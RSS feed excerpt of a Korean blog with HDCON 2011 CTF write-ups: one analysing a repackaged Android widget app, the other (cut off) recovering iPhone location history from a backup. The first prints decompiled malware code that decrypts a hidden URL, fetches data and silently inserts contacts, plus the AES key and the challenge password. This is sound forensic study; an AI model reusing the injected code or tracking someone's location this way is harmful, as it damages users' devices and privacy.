			<title>HDCON 2011 예선 Stage 4 - 안드로이드 악성코드 분석</title>
			<link>http://hisjournal.net/blog/361</link>
			<description>stage 4 문제는 제게 큰 짜릿함을 맛보게 해준 문제입니다. 대회 첫 째날이 종료되기 몇 시간 전부터 보기 시작했는데 밤 새고 대회 둘 째날이 종료되기 27분 전에야 패스워드를 인증했기 때문이죠. 중간에 잠시 눈 붙인 몇 시간을 제외하면 꼬박 24시간을 이 문제에 붙었었는데, 포기하지 않고 끝까지 보니까 결국 풀리더군요. 그 때의 짜릿함은 정말 엄청났습니다.&lt;br&gt;&lt;br&gt;그리고 미리 말씀드리자면 이 풀이는 정말 깁니다.&lt;br&gt;&lt;br&gt;&lt;h3&gt;Qusetion&lt;/h3&gt;&lt;blockquote&gt;4번 문제 : 안드로메다 소녀 '안드로'는 최근 스마트폰에 각종 Application을 설치하여 사용하는 재미에 빠져있다. 그런데 어느 순간부터 스마트폰이 이상하다는 느낌이 들기 시작했다. 여기 '안드로' 소녀의 스마트폰 이미지가 있다. 아래 이미지를 분석하여 '안드로' 소녀의 스마트폰의 문제를 찾아라. &lt;br&gt;&lt;br&gt;정답은 악성코드가 사용하는 정보의 조합이다. 정보가 여러 개라면 긴 문자열 순으로 나열하고 정보와 정보사이는 '_' 로 연결하라. &lt;br&gt;예) XXXXXXX 와 YYY 와 Z 라면 정답은 XXXXXXX_YYY_Z 이다. &lt;br&gt;&lt;br&gt;ID: stage4 , PASSWORD: 획득한 패스워드&lt;/blockquote&gt;&lt;br&gt;&lt;h3&gt;Analysis&lt;/h3&gt;주어진 압축 파일을 해제하면 cache.img, sdcard.img, userdata.img, userdata-qemu.img 이렇게 네 개의 파일이 있습니다. 이 파일들은 안드로이드 폰의 이미지 파일입니다. sdcard.img는 FAT32 포맷이고, 나머지 세 개는 VMS 포맷입니다.&lt;br&gt;&lt;br&gt;이번 문제는 안드로이드의 이미지 파일에서 악성코드를 찾아내어 분석하는 것이네요.&lt;br&gt;&lt;br&gt;&lt;h3&gt;Solution&lt;/h3&gt;악성코드를 찾기 위해서 우선 이미지 파일들을 안드로이드 에뮬레이터로 읽어들여야 합니다. 안드로이드 SDK와 ADT 플러그인을 설치한 후, AVD를 생성합니다&lt;sup style="font-family:tahoma;"&gt;&lt;a href="http://hisjournal.net/blog/361#footnote_361_1" id="footnote_link_361_1"&gt;1&lt;/a&gt;&lt;/sup&gt;. 이런 과정을 모두 설명하려면 너무 길어지기 때문에 주석을 참고하는 게 좋을 것 같네요. 에뮬레이터가 정상적으로 실행되면 생성된 avd 디렉토리에 네 개의 이미지 파일들을 집어넣고,&amp;nbsp; AVD 편집 메뉴에서 SDCard의 경로를 수정합니다. 이렇게 하여 다시 AVD를 에뮬레이터로 실행하면 "안드로" 소녀의 스마트폰 환경이 재현되지요.&lt;br&gt;&lt;br&gt;&lt;div style="text-align: center;"&gt;&lt;div class="imageblock center" style="text-align: center; clear: both;"&gt;&lt;img src="http://hisjournal.net/blog/attach/1/1253763721.png" alt="사용자 삽입 이미지" height="561" width="605" /&gt;&lt;/div&gt;&lt;em&gt;[그림1] 에뮬레이터로 재현한 "안드로" 소녀의 스마트폰&lt;/em&gt;&lt;/div&gt;&lt;br&gt;문제에서 설명대로라면 각종 앱들을 설치하다가 어느 순간부터 이상하다는 느낌을 받았다고 합니다. 그렇다면 "안드로" 소녀가 어떤 앱들을 설치했는지 확인해야겠지요. 다음 순서대로 따라간 후, Downloaded 목록을 확인합니다.&lt;br&gt;&lt;br&gt;&lt;blockquote&gt;MENU -&amp;gt; Settings -&amp;gt; Applications -&amp;gt; Manage applications -&amp;gt; Downloaded&lt;/blockquote&gt;&lt;br&gt;Downloaded 목록에는 사용자가 다운로드하여 설치한 앱들이 나옵니다. "안드로" 소녀의 폰에는 9개의 사용자 앱이 설치되어 있습니다. &lt;br&gt;&lt;br&gt;&lt;div style="text-align: center;"&gt;&lt;div class="imageblock center" style="text-align: center; clear: both;"&gt;&lt;img src="http://hisjournal.net/blog/attach/1/1213040981.png" alt="사용자 삽입 이미지" height="561" width="605" /&gt;&lt;/div&gt;&lt;em&gt;[그림2] "안드로" 소녀가 설치한 앱들&lt;/em&gt;&lt;/div&gt;&lt;br&gt;이 9개의 앱들 중에서 어떤 게 악성코드인지를 찾아야 합니다. 찾기 이전에 알아두어야 할 게 있습니다. 최근의 안드로이드 악성코드에 대한 이슈는 리패키징(Repackaging)입니다. 안드로이드 Dalvik이 Java 기반이기 때문에 패키지 파일은 디컴파일이 가능합니다. 이런 성격을 이용하여 공격자는 정상적인 앱을 디컴파일하여 공격 코드를 삽입한 후에 다시 패키징하여 배포하는 게 최근의 경향입니다. 아마 "안드로" 소녀도 공격자가 재배포한 악성 앱을 다운로드하여 설치했을 가능성이 크겠지요.&lt;br&gt;&lt;br&gt;이제 "안드로" 소녀가 설치한 9개의 앱들의 apk 파일들을 모두 추출할 차례입니다. 설치된 앱의 apk 파일의 경로를 알기 위해서는 다음의 순서대로 찾아갑니다.&lt;br&gt;&lt;br&gt;&lt;blockquote&gt;앱 목록 -&amp;gt; Dev Tools -&amp;gt; Package Browser -&amp;gt; 앱 선택&lt;/blockquote&gt;&lt;br&gt;apk 파일의 경로를 확인하였으면 adb의 pull 명령을 이용하여 apk 파일들을 추출&lt;sup style="font-family:tahoma;"&gt;&lt;a href="#footnote_361_2" id="footnote_link_361_2"&gt;2&lt;/a&gt;&lt;/sup&gt;합니다.&lt;br&gt;&lt;br&gt;&lt;div style="text-align: center;"&gt;&lt;div class="imageblock center" style="text-align: center; clear: both;"&gt;&lt;img src="http://hisjournal.net/blog/attach/1/1077020736.png" alt="사용자 삽입 이미지" height="166" width="605" /&gt;&lt;/div&gt;&lt;em&gt;[그림3] adb의 pull 명령으로 안드로이드 메모리 내의 파일을 추출한다.&lt;/em&gt;&lt;/div&gt;&lt;br&gt;추출한 앱이 악성코드인지, 즉 다시 말해서 리패키징된 앱인지를 알기 위해서는 원본 apk 파일과 diff 툴로 비교하거나 md5 값을 구하여 비교합니다. 앞서 apk 파일의 경로를 확인하기 위하여 이용하였던 Package Browser에는 앱의 버전 정보도 나와 있습니다. 마켓이나 인터넷에서 동일 버전의 원본 apk 파일을 구하여 "안드로" 소녀의 폰에서 추출한 apk 파일과 비교하는 것이죠.&lt;br&gt;&lt;br&gt;apk 파일 자체를 비교하여도 되고, apk 파일 내부의 classes.dex와 lib 아래의 so 파일들을 직접 비교하여도 됩니다. 추출한 앱이 악성코드가 아니라면, 동일 버전의 원본 앱과 diff 결과나 md5 값이 동일하죠. 그러나 diff 결과와 md5 값이 다르면 일단 리패킹징이 되었다고 의심해봐야 합니다.&lt;br&gt;&lt;br&gt;9개의 앱 중에서 동일 버전의 원본 앱과 다른 앱은 TxWidgets 하나입니다. 다른 8개는 모두 원본과 동일하였습니다. TxWidgets가 리패키징이 되었다면, 앱을 구성하는 class들 중에서 다른 부분이 있을 것입니다. 그렇기 때문에 dex2jar&lt;sup style="font-family:tahoma;"&gt;&lt;a href="#footnote_361_3" id="footnote_link_361_3"&gt;3&lt;/a&gt;&lt;/sup&gt;로 tmi.li.txwidgets-1.apk 안의 classes.dex를 jar로 변환한 후 압축을 풀어서 class 파일들을 추출합니다. 그리고 마찬가지로 동일 버전의 TxWidgets 원본의 class 파일들과 비교를 하는 것이죠.&lt;br&gt;&lt;br&gt;추출한 TxWidgets의 class들과 원본 TxWidgets의 class들 간의 diff 결과는 아래와 같습니다.&lt;br&gt;&lt;br&gt;&lt;pre class="prettyprint"&gt;&lt;code&gt;Binary files tmi.li.txwidgets-1.apk_FILES/tmi/li/txwidgets//txbtry/TxBtryProvider.class and tmi.li.txwidgets-1.orig.apk_FILES/tmi/li/txwidgets//txbtry/TxBtryProvider.class differ&lt;br&gt;Only in tmi.li.txwidgets-1.apk_FILES/tmi/li/txwidgets//txclck: TxClckProvider$TxClckZ.class&lt;br&gt;Binary files tmi.li.txwidgets-1.apk_FILES/tmi/li/txwidgets//txclck/TxClckProvider.class and tmi.li.txwidgets-1.orig.apk_FILES/tmi/li/txwidgets//txclck/TxClckProvider.class differ&lt;/code&gt;&lt;/pre&gt;&lt;br&gt;&lt;br&gt;결과를 보면, TxBtryProvider.class와 TxClckProvider.class가 다르고 TxClckProvider 클래스 내에 TxClckZ가 추가되었음을 알 수 있습니다.&lt;br&gt;&lt;br&gt;어떤 클래스가 다른지를 알았으니 JAD&lt;sup style="font-family:tahoma;"&gt;&lt;a href="#footnote_361_4" id="footnote_link_361_4"&gt;4&lt;/a&gt;&lt;/sup&gt;나 JD-GUI&lt;sup style="font-family:tahoma;"&gt;&lt;a href="#footnote_361_5" id="footnote_link_361_5"&gt;5&lt;/a&gt;&lt;/sup&gt;와 같은 Java 디컴파일 툴로 해당 class 파일들을 디컴파일합니다. 정확히 class 내의 어떤 소스코드가 다른지 알려면 JAD로 디컴파일하여 나온 jad 파일을 원본을 디컴파일한 jad 파일과 diff 툴로 비교하는 게 조금 더 편합니다. &lt;br&gt;&lt;br&gt;&lt;div style="text-align: center;"&gt;&lt;div class="imageblock center" style="text-align: center; clear: both;"&gt;&lt;img src="http://hisjournal.net/blog/attach/1/1115176786.png" alt="사용자 삽입 이미지" height="368" width="605" /&gt;&lt;/div&gt;&lt;em&gt;[그림4] 왼쪽이 추출한 TxClckProvider.jad, 오른쪽이 원본 TxClckProvider.jad&lt;/em&gt;&lt;/div&gt;&lt;br&gt;TxBtryProvider는 거의 차이가 없습니다. 아주 미묘하죠. 실제로 악성코드가 심어진 클래스는 TxClckProvider입니다. TxClckZ 내부클래스가 추가되었고, getDetail, getDetailInfo 메소드가 추가되었고, updateWidget 메소드에서는 다음과 같은 코드도 추가되었습니다.&lt;br&gt;&lt;br&gt;&lt;pre class="prettyprint"&gt;&lt;code&gt;String str2 = TxClckZ.decrypt("TxWthrUpdate", "ADF757BF99C2D868A05231F354EDF44BA26E249A697CFA6927FC2A31D82909920CC136F11FAAC61CB944A501B6425889");&lt;br&gt;localObject = str2;&lt;br&gt;getDetail(paramContext, (String)localObject);&lt;/code&gt;&lt;/pre&gt;&lt;br&gt;&lt;br&gt;분석을 해보면 TxWidgets의 시계 위젯이 업데이트될 때 updateWidget 메소드가 호출되고 위 코드가 실행되는 것이죠. TxClckZ 클래스는 AES 암복호화 클래스입니다. TxClckZ.decrypt 메소드는 AES 복호화를 위한 Key와 복호화할 Cipher를 인자로 받습니다. 그리고 복호화한 문자열을 getDetail 메소드에 인자로 넣죠.&lt;br&gt;&lt;br&gt;아래는 getDetail 메소드의 코드입니다. 인자로 받은 문자열을 URL 주소로 하여 HTTP 통신을 하고 웹페이지의 어떠한 문자열을 버퍼로 담아 getDetailInfo 메소드를 호출합니다. &lt;br&gt;&lt;br&gt;&lt;pre class="prettyprint"&gt;&lt;code&gt;public static void getDetail(Context paramContext, String paramString)&lt;br&gt;{&lt;br&gt;    try&lt;br&gt;    {&lt;br&gt;        ContentResolver localContentResolver = paramContext.getContentResolver();&lt;br&gt;        Uri localUri = ContactsContract.Contacts.CONTENT_URI;&lt;br&gt;        if (localContentResolver.query(localUri, null, null, null, null).getCount() &amp;lt; 23);&lt;br&gt;&lt;br&gt;        while (true)&lt;br&gt;        {&lt;br&gt;            if (isFirst)&lt;br&gt;            {&lt;br&gt;                DefaultHttpClient localDefaultHttpClient = new DefaultHttpClient();&lt;br&gt;                HttpGet localHttpGet = new HttpGet(paramString);&lt;br&gt;                HttpResponse localHttpResponse = localDefaultHttpClient.execute(localHttpGet);&lt;br&gt;&lt;br&gt;                if (localHttpResponse.getStatusLine().getStatusCode() != 200)&lt;br&gt;                    continue;&lt;br&gt;&lt;br&gt;                InputStream localInputStream = localHttpResponse.getEntity().getContent();&lt;br&gt;                InputStreamReader localInputStreamReader = new InputStreamReader(localInputStream);&lt;br&gt;                String str = new BufferedReader(localInputStreamReader).readLine();&lt;br&gt;&lt;br&gt;                if (!isFirst)&lt;br&gt;                    continue;&lt;br&gt;&lt;br&gt;                getDetailInfo(paramContext, str);&lt;br&gt;                continue;&lt;br&gt;            }&lt;br&gt;        }&lt;br&gt;    }&lt;br&gt;    catch (Exception localException)&lt;br&gt;    {&lt;br&gt;        return;&lt;br&gt;    }&lt;br&gt;}&lt;/code&gt;&lt;/pre&gt;&lt;br&gt;&lt;br&gt;아래는 getDetailInfo 메소드의 코드입니다. getDetail 메소드에서 얻은 문자열을 TxClckZ.decrypt 메소드로 다시 복호화합니다. 복호화한 문자열은 파싱되어서 연락처와 이메일 주소 DB에 등록됩니다.&lt;br&gt;&lt;br&gt;&lt;pre class="prettyprint"&gt;&lt;code&gt;public static void getDetailInfo(Context paramContext, String paramString)&lt;br&gt;{&lt;br&gt;    Object localObject = (String[])0;&lt;br&gt;    try&lt;br&gt;    {&lt;br&gt;        String[] arrayOfString = TxClckZ.decrypt("TxWthrUpdate", paramString).split("[,]");&lt;br&gt;        localObject = arrayOfString;&lt;br&gt;label19: &lt;br&gt;        String str1 = localObject[0];&lt;br&gt;        String str2 = localObject[1];&lt;br&gt;        try&lt;br&gt;        {&lt;br&gt;            ContentResolver localContentResolver = paramContext.getContentResolver();&lt;br&gt;            ContentValues localContentValues = new ContentValues();&lt;br&gt;&lt;br&gt;            Integer localInteger1 = Integer.valueOf(0);&lt;br&gt;            localContentValues.put("contact_id", localInteger1);&lt;br&gt;            Integer localInteger2 = Integer.valueOf(3);&lt;br&gt;            localContentValues.put("aggregation_mode", localInteger2);&lt;br&gt;&lt;br&gt;            Uri localUri1 = ContactsContract.RawContacts.CONTENT_URI;&lt;br&gt;            long l = ContentUris.parseId(localContentResolver.insert(localUri1, localContentValues));&lt;br&gt;&lt;br&gt;            localContentValues.clear();&lt;br&gt;            Long localLong1 = Long.valueOf(l);&lt;br&gt;            localContentValues.put("raw_contact_id", localLong1);&lt;br&gt;            localContentValues.put("mimetype", "vnd.android.cursor.item/phone_v2");&lt;br&gt;&lt;br&gt;            Integer localInteger3 = Integer.valueOf(2);&lt;br&gt;            localContentValues.put("data2", localInteger3);&lt;br&gt;            localContentValues.put("data1", str1);&lt;br&gt;&lt;br&gt;            Uri localUri2 = ContactsContract.Data.CONTENT_URI;&lt;br&gt;            Uri localUri3 = localContentResolver.insert(localUri2, localContentValues);&lt;br&gt;&lt;br&gt;            localContentValues.clear();&lt;br&gt;            Long localLong2 = Long.valueOf(l);&lt;br&gt;            localContentValues.put("raw_contact_id", localLong2);&lt;br&gt;            localContentValues.put("mimetype", "vnd.android.cursor.item/email_v2");&lt;br&gt;&lt;br&gt;            Integer localInteger4 = Integer.valueOf(4);&lt;br&gt;            localContentValues.put("data2", localInteger4);&lt;br&gt;            localContentValues.put("data1", str2);&lt;br&gt;&lt;br&gt;            Uri localUri4 = ContactsContract.Data.CONTENT_URI;&lt;br&gt;            Uri localUri5 = localContentResolver.insert(localUri4, localContentValues);&lt;br&gt;&lt;br&gt;            isFirst = 0;&lt;br&gt;            return;&lt;br&gt;        }&lt;br&gt;        catch (Exception localException1)&lt;br&gt;        {&lt;br&gt;            return;&lt;br&gt;        }&lt;br&gt;    }&lt;br&gt;    catch (Exception localException2)&lt;br&gt;    {&lt;br&gt;        break label19;&lt;br&gt;    }&lt;br&gt;}&lt;/code&gt;&lt;/pre&gt;&lt;br&gt;&lt;br&gt;예, 확실히 TxWidgets가 악성코드임을 알 수 있습니다. 그런데 이 악성코드가 정확히 어떤 정보를 사용하는지를 알려면 AES로 암호화된 Cipher을 복호화해야 합니다. key와 Cipher를 다시 정리하면 아래와 같습니다.&lt;br&gt;&lt;br&gt;&lt;pre class="prettyprint"&gt;&lt;code&gt;Key = "TxWthrUpdate"&lt;br&gt;Cipher = "ADF757BF99C2D868A05231F354EDF44BA26E249A697CFA6927FC2A31D82909920CC136F11FAAC61CB944A501B6425889"&lt;/code&gt;&lt;/pre&gt;&lt;br&gt;&lt;br&gt;이 악성코드에서 사용된 AES 암복호화 코드는 추가된 TxClckZ 클래스에 구현되어 있습니다. 이 코드는 실제로 안드로이드 앱에서 많이 사용되는 AES 암복호화 코드&lt;sup style="font-family:tahoma;"&gt;&lt;a href="#footnote_361_6" id="footnote_link_361_6"&gt;6&lt;/a&gt;&lt;/sup&gt;입니다. 그리고 최근에 이슈가 된 DroidKungFu에서도 이 코드가 사용된 것으로 알려져 있죠. &lt;br&gt;&lt;br&gt;저 Key로 Cipher를 복호화하면 악성코드가 어떤 정보를 사용했는지 알 수 있을텐데요. 그런데 AES 암복호화 코드를 그대로 이용하여 Java로 작성하여 실행하면 패딩이 맞지 않다는 오류가 출력되면서 복호화가 되지 않습니다. 제가 이 부분에서 근 하루를 허비했죠.&lt;br&gt;&lt;br&gt;조금만 생각해보면 간단합니다. 실제로 안드로이드 앱에서 사용되는 코드이고, DroidKungFu도 사용한 코드입니다. 분명히 정상적으로 실행되는 코드라는 것이죠. 그런데 Java로 구현하여 실행하면 오류가 발생합니다. 이 얘기는 PC의 Java JVM과 안드로이드의 Dalvik JVM이 차이가 있다는 얘기지요. &lt;br&gt;&lt;br&gt;그러므로 AES 암복호화 코드를 이용하여 Cipher를 복호화하는 프로그램을 안드로이드 앱으로 작성하면 정상적으로 실행될 것입니다. 직접 앱을 만들어도 되고, 예제로 있는 SimpleCryptoExample&lt;sup style="font-family:tahoma;"&gt;&lt;a href="#footnote_361_7" id="footnote_link_361_7"&gt;7&lt;/a&gt;&lt;/sup&gt;를 수정하여도 됩니다. 저는 예제 앱을 수정하였습니다.&lt;br&gt;&lt;br&gt;&lt;div style="text-align: center;"&gt;&lt;div class="imageblock center" style="text-align: center; clear: both;"&gt;&lt;img src="http://hisjournal.net/blog/attach/1/1264327759.png" alt="사용자 삽입 이미지" height="561" width="605" /&gt;&lt;/div&gt;&lt;em&gt;[그림5] AES Cipher를 안드로이드에서 복호화한다.&lt;/em&gt;&lt;br style="font-style: italic;"&gt;&lt;/div&gt;&lt;br&gt;역시 처음 분석한 대로 URL 주소가 복호화되었습니다. 저 주소로 접속하면 다음과 같은 문자열을 얻을 수 있습니다. 역시 AES Cipher이죠.&lt;br&gt;&lt;br&gt;&lt;pre class="prettyprint"&gt;&lt;code&gt;Cipher = "517A4D557F2B4FE775340A84D9E9B5A3DA4E56E9A3E2687995F92EC7B3805A064E90239F20FE04FA64DF842DFDC9FCDB"&lt;/code&gt;&lt;/pre&gt;&lt;br&gt;&lt;br&gt;이번에도 안드로이드 앱을 수정하여 동일한 Key로 복호화합니다. 그러면 악성코드가 DB에 등록할 연락처 번호와 이메일 주소를 얻을 수 있습니다.&lt;br&gt;&lt;br&gt;&lt;div style="text-align: center;"&gt;&lt;div class="imageblock center" style="text-align: center; clear: both;"&gt;&lt;img src="http://hisjournal.net/blog/attach/1/1117535521.png" alt="사용자 삽입 이미지" height="561" width="605" /&gt;&lt;/div&gt;&lt;em&gt;[그림6] 마지막으로 복호화하면 연락처 번호화 이메일 주소를 얻는다.&lt;/em&gt;&lt;/div&gt;&lt;br&gt;그래서 패스워드는? "4ndr0M4l@k1s4.xyz.123_62922741337" 입니다.&lt;br&gt;&lt;fieldset style="margin:20px 0px 20px 0px;padding:5px;"&gt;&lt;legend&gt;&lt;span&gt;&lt;strong&gt;크리에이티브 커먼즈 라이센스&lt;/strong&gt;&lt;/span&gt;&lt;/legend&gt;&lt;!--Creative Commons License--&gt;&lt;div style="float: left; width: 88px; margin-top: 3px;"&gt;&lt;a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/2.0/kr/" target=_blank&gt;&lt;img alt="Creative Commons License" style="border-width: 0" src="http://i.creativecommons.org/l/by-nc-sa/2.0/kr/88x31.png"/&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="margin-left: 92px; margin-top: 3px; text-align: justify;"&gt;이 저작물은 &lt;a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/2.0/kr/" target=_blank&gt;크리에이티브 커먼즈 코리아 저작자표시-비영리-동일조건변경허락 2.0 대한민국 라이센스&lt;/a&gt;에 따라 이용하실 수 있습니다.
			&lt;!-- Creative Commons License--&gt;
			&lt;!-- &lt;rdf:RDF xmlns="http://web.resource.org/cc/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"&gt;
			&lt;Work rdf:about=""&gt;
			&lt;license rdf:resource="http://creativecommons.org/licenses/by-nc-sa/2.0/kr/" /&gt;
			&lt;/Work&gt;
			&lt;License rdf:about="http://creativecommons.org/licenses/by-nc-sa/"&gt;
			&lt;permits rdf:resource="http://web.resource.org/cc/Reproduction"/&gt;
			&lt;permits rdf:resource="http://web.resource.org/cc/Distribution"/&gt;
			&lt;requires rdf:resource="http://web.resource.org/cc/Notice"/&gt;
			&lt;requires rdf:resource="http://web.resource.org/cc/Attribution"/&gt;
			&lt;permits rdf:resource="http://web.resource.org/cc/DerivativeWorks"/&gt;
			&lt;requires rdf:resource="http://web.resource.org/cc/ShareAlike"/&gt;&lt;prohibits rdf:resource="http://web.resource.org/cc/CommercialUse"/&gt;&lt;/License&gt;&lt;/rdf:RDF&gt; --&gt;&lt;/div&gt;&lt;/fieldset&gt;&lt;div class=footnotes&gt;주석.&lt;div class=footnotes_in&gt;&lt;ol class=footnotes&gt;&lt;li id="footnote_361_1"&gt;안드로이드 개발환경 설치하기 :: &lt;a href="http://underclub.tistory.com/242"  target="_blank"&gt;http://underclub.tistory.com/242&lt;/a&gt; &lt;a href="#footnote_link_361_1"&gt;&lt;/a&gt; &lt;/li&gt;
&lt;li id="footnote_361_2"&gt;Android Debug Bridge :: &lt;a href="http://developer.android.com/guide/developing/tools/adb.html"  target="_blank"&gt;http://developer.android.com/guide/dev &amp;middot;&amp;middot;&amp;middot; adb.html&lt;/a&gt; &lt;a href="#footnote_link_361_2"&gt;&lt;/a&gt; &lt;/li&gt;
&lt;li id="footnote_361_3"&gt;dex2jar :: &lt;a href="http://code.google.com/p/dex2jar/"  target="_blank"&gt;http://code.google.com/p/dex2jar/&lt;/a&gt; &lt;a href="#footnote_link_361_3"&gt;&lt;/a&gt; &lt;/li&gt;
&lt;li id="footnote_361_4"&gt;JAD :: &lt;a href="http://www.varaneckas.com/jad"  target="_blank"&gt;http://www.varaneckas.com/jad&lt;/a&gt; &lt;a href="#footnote_link_361_4"&gt;&lt;/a&gt; &lt;/li&gt;
&lt;li id="footnote_361_5"&gt;JD-GUI :: &lt;a href="http://java.decompiler.free.fr/?q=jdgui"  target="_blank"&gt;http://java.decompiler.free.fr/?q=jdgui&lt;/a&gt; &lt;a href="#footnote_link_361_5"&gt;&lt;/a&gt; &lt;/li&gt;
&lt;li id="footnote_361_6"&gt;Encrypt/Decrypt Strings :: &lt;a href="http://www.androidsnippets.com/encryptdecrypt-strings"  target="_blank"&gt;http://www.androidsnippets.com/encryptdecrypt-strings&lt;/a&gt; &lt;a href="#footnote_link_361_6"&gt;&lt;/a&gt; &lt;/li&gt;
&lt;li id="footnote_361_7"&gt;SimpleCryptoExample :: h&lt;a href="http://theeye.pe.kr/entry/simple-aes-based-encryption-util-for-java-and-android"  target="_blank"&gt;ttp://theeye.pe.kr/entry/simple-aes-based-encryption-util-for-java-and-android&lt;/a&gt; &lt;a href="#footnote_link_361_7"&gt;&lt;/a&gt; &lt;/li&gt;
&lt;/ol&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;&lt;a href="http://hisjournal.net/blog/361?commentInput=true#entry361WriteComment"&gt;댓글 쓰기&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;</description>
			<category>0x06 Other RCE</category>
			<category>AES</category>
			<category>Android</category>
			<category>AVD</category>
			<category>DroidKungFu</category>
			<category>Repackaging</category>
			<category>리패키징</category>
			<category>악성코드</category>
			<category>안드로이드</category>
			<author>6l4ck3y3@gmail.com (6l4ck3y3)</author>
			<guid>http://hisjournal.net/blog/361</guid>
			<comments>http://hisjournal.net/blog/361#entry361comment</comments>
			<pubDate>Thu, 30 Jun 2011 08:17:06 +0900</pubDate>
		</item>
		<item>
			<title>HDCON 2011 예선 Stage 1 - 아이폰 위치 추적</title>
			<link>http://hisjournal.net/blog/360</link>
			<description>어느덧 돌아온 제8회 해킹방어대회, 2011 HDCON 예선의 첫 번째 문제입니다.&lt;br&gt;&lt;br&gt;&lt;h3&gt;Question&lt;/h3&gt;&lt;blockquote&gt;1번 문제 : 후후대학 CC인 '몽'양과 '휘'군, 평소 바람기가 넘치는 바람둥이 '몽'양은 &lt;br&gt;평소 남자친구 '휘'군의 노트북을 통해 스마트 폰을 동기화 한다.&amp;nbsp; &lt;br&gt;SIS 시험을 위해 열공 하던 '휘'군은 시험전날 저녁에 '몽'양과 연락이&amp;nbsp; &lt;br&gt;되지 않았다. 이번 기회에 '휘'씨를 도와 여자 친구인 '몽'양의 바람기를 잡자. &lt;br&gt;(2011년 1회 SIS 필기시험 전날 21:00~21:10의 '몽'양이 있었던 건물의 이름(대문자)입니다.) &lt;br&gt;&lt;br&gt;ID: stage1 , PASSWORD: kisa_hdcon_8th&lt;/blockquote&gt;&lt;br&gt;&lt;h3&gt;Analysis&lt;/h3&gt;압축 파일 하나를 던져 주고 여자친구의 바람기를 잡아달라는 의뢰입니다. 해당 압축 파일을 해제하면 안에 많은 파일들이 있습니다. 대부분 파일 이름이 해시 값으로 되어 있는데, 몇몇 파일이 본래의 파일 이름으로 있습니다. 그 중에서 Info.plist 파일의 내용을 확인하면 문제에서 주어진 파일이 아이폰이 동기화할 때 생성되는 백업파일이라는 것을 알 수 있습니다.&lt;br&gt;&lt;br&gt;&lt;div style="text-align: center;"&gt;&lt;div class="imageblock center" style="text-align: center; clear: both;"&gt;&lt;img src="http://hisjournal.net/blog/attach/1/1110809699.png" alt="사용자 삽입 이미지" height="400" width="605" /&gt;&lt;/div&gt;&lt;em&gt;[그림1] Info.plist&lt;br&gt;&lt;/em&gt;&lt;/div&gt;&lt;br&gt;아하! 이 문제는 아이폰의 위치 정보를 추적하는 문제군요. &lt;br&gt;&lt;br&gt;&lt;h3&gt;Solution&lt;/h3&gt;아이폰의 위치 정보는 다음의 경로에 SQLite 파일로 저장됩니다.&lt;br&gt;&lt;br&gt;&lt;blockquote&gt;Library/Caches/locationd/consolidated.db&lt;sup style="font-family:tahoma;"&gt;&lt;a href="http://hisjournal.net/blog/360#footnote_360_1" id="footnote_link_360_1"&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/blockquote&gt;&lt;br&gt;그런데 주어진 파일들의 이름이 해시값으로 되어 있기 때문에 db 파일을 찾는 게 쉽지 않습니다. &lt;br&gt;&lt;br&gt;그러나 다행히 Manifest.mbdb와 Manifest.mbdx 이 두 개의 파일은 iOS 장치가 동기화할 때 생성되는 백업 파일들의 본래의 파일 이름들에 대한 정보를 가지고 있습니다. 그리고 iphonels.py&lt;sup style="font-family:tahoma;"&gt;&lt;a href="#footnote_360_2" id="footnote_link_360_2"&gt;2&lt;/a&gt;&lt;/sup&gt; 스크립트를 이용하여서 쉽게 파일들의 본래의 이름들을 찾을 수 있죠.&lt;br&gt;&lt;br&gt;&lt;div style="text-align: center;"&gt;&lt;div class="imageblock center" style="text-align: center; clear: both;"&gt;&lt;img src="http://hisjournal.net/blog/attach/1/1347728854.png" alt="사용자 삽입 이미지" height="195" width="605" /&gt;&lt;/div&gt;&lt;em&gt;[그림2] &lt;/em&gt;&lt;img style="font-style: italic;" src="file:///tmp/moz-screenshot.png" alt=""&gt;&lt;img style="font-style: italic;" src="file:///tmp/moz-screenshot-1.png" alt=""&gt;&lt;em&gt;iphonels.py로 consolidated.db를 쉽게 찾을 수 있다.&lt;/em&gt;&lt;/div&gt;&lt;br&gt;아이폰의 위치 정보가 저장된 db 파일을 찾았으니 이제는 Database 내용을 분석할 차례입니다. &lt;br&gt;&lt;br&gt;아이폰이나 안드로이드는 내부 시스템의 db를 SQLite로 관리합니다. 실제로 consolidated.db를 file 명령어로 확인하면 SQLite 라고 나오지요. &lt;br&gt;&lt;br&gt;SQLite db 파일을 보는 소프트웨어는 많이 있습니다. 그 중에서 전 SQLite Database Browser를 사용하겠습니다. 이 툴은 Windows, Linux, Mac을 모두 지원되는 유용한 툴이죠.&lt;br&gt;&lt;br&gt;consolidated.db를 열면 참 많은 테이블들이 존재합니다. 이 중에서 위치 정보는 CellLocation 테이블에 저장되어 있습니다. 그리고 테이블을 보면 Timestamp와 GPS 좌표 정보를 볼 수 있습니다.&lt;br&gt;&lt;br&gt;&lt;div style="text-align: center;"&gt;&lt;div class="imageblock center" style="text-align: center; clear: both;"&gt;&lt;img src="http://hisjournal.net/blog/attach/1/1231215460.png" alt="사용자 삽입 이미지" height="499" width="605" /&gt;&lt;/div&gt;&lt;em&gt;[그림3] CellLocation 테이블 안의 Timestamp와 GPS 좌표들&lt;/em&gt;&lt;br style="font-style: italic;"&gt;&lt;/div&gt;&lt;br&gt;아이폰의 위치 정보들을 볼 수 있게 되었으니 문제에서 주어진 정보들을 이용하여 몽양의 위치를 확인할 차례입니다.&lt;br&gt;&lt;br&gt;문제에서는 "2011년 1회 SIS 필기시험 전날 21:00~21:10" 이라고 적혀 있습니다. 이 정보는 정확한 시각 정보이고, Timestamp와 비교하여 위치를 알 수 있습니다. 그런데 Unix의 Timestamp가 1970년 1월 1일 0시부터 지나간 초수인데 반해, 아이폰의 Timestamp는 2001년 1월 1일 0시부터입니다. &lt;br&gt;&lt;br&gt;그러므로 다음과 같은 쿼리문을 작성해야 합니다.&lt;br&gt;&lt;br&gt;&lt;pre class="prettyprint"&gt;&lt;code&gt;select datetime(Timestamp+978307200, 'unixepoch'), Latitude, Longitude from CellLocation&lt;sup style="font-family:tahoma;"&gt;&lt;a href="#footnote_360_3" 